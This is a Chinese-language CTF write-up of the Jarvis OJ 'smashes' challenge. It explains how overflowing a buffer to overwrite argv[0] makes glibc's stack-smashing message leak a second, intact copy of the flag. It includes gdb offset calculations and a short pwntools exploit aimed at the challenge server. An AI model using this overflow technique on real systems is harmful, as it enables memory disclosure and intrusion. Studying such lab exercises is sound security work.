smashes

前提概要:
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行__stack_chk_fail函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "");
}

所以说如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。

Jarvis OJ 上的一道题目,checksec

image.png

开了canary 和NX,再看一波IDA

image.png

有一个栈溢出漏洞,题目提示是overwrite the flag查看一下byte_600d20位置放着的就是类似flag的东西,说明flag应该就放在这里,但是我们直接栈溢出这里的内容是不可行的,因为我们写入的内容就放在这里,会直接覆盖掉,这里就用到了栈溢出的另一个技巧了
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 search 来进行查找。
在memset处下个断点,可以看到我们输入的2222已经覆盖了0x600d20处的flag ,但是在0x400d20处还有另一处完整的flag,所以我们还是可以输入flag的,用这个地址。

image.png

那么接下来就要找到argv[0]的距离读取字符串的偏移
在main函数下个断查看:

image.png

可以看到0x7fffffffe02f指向的就是程序名(虽然我这里看着有点怪),其自然就是 argv[0],所以我们要修改的内容就是这里,而0x7fffffffdc58保存着这个地址,所以我们其实修改的是0x7fffffffdc58
再在_I0_gets处下断点查看v3的地址

image.png

我们可以看到IO_gets其实是接收到rdi中去的,而上一条语句mov rdi,rsp也知道了其起始地址就是rsp:0x7fffffffda40,接下来就可以算出偏移:

pwndbg> distance 0x7fffffffdc58 0x7fffffffda40
0x7fffffffdc58->0x7fffffffda40 is -0x218 bytes (-0x43 words)

exp:

from pwn import *
# p = process('./smashes')
p = remote("pwn.jarvisoj.com","9877")
context.log_level = 'debug'
payload = 'a'*0x218 + p64(0x400d20)
p.sendline(payload)
p.interactive()

你可能感兴趣的:(smashes)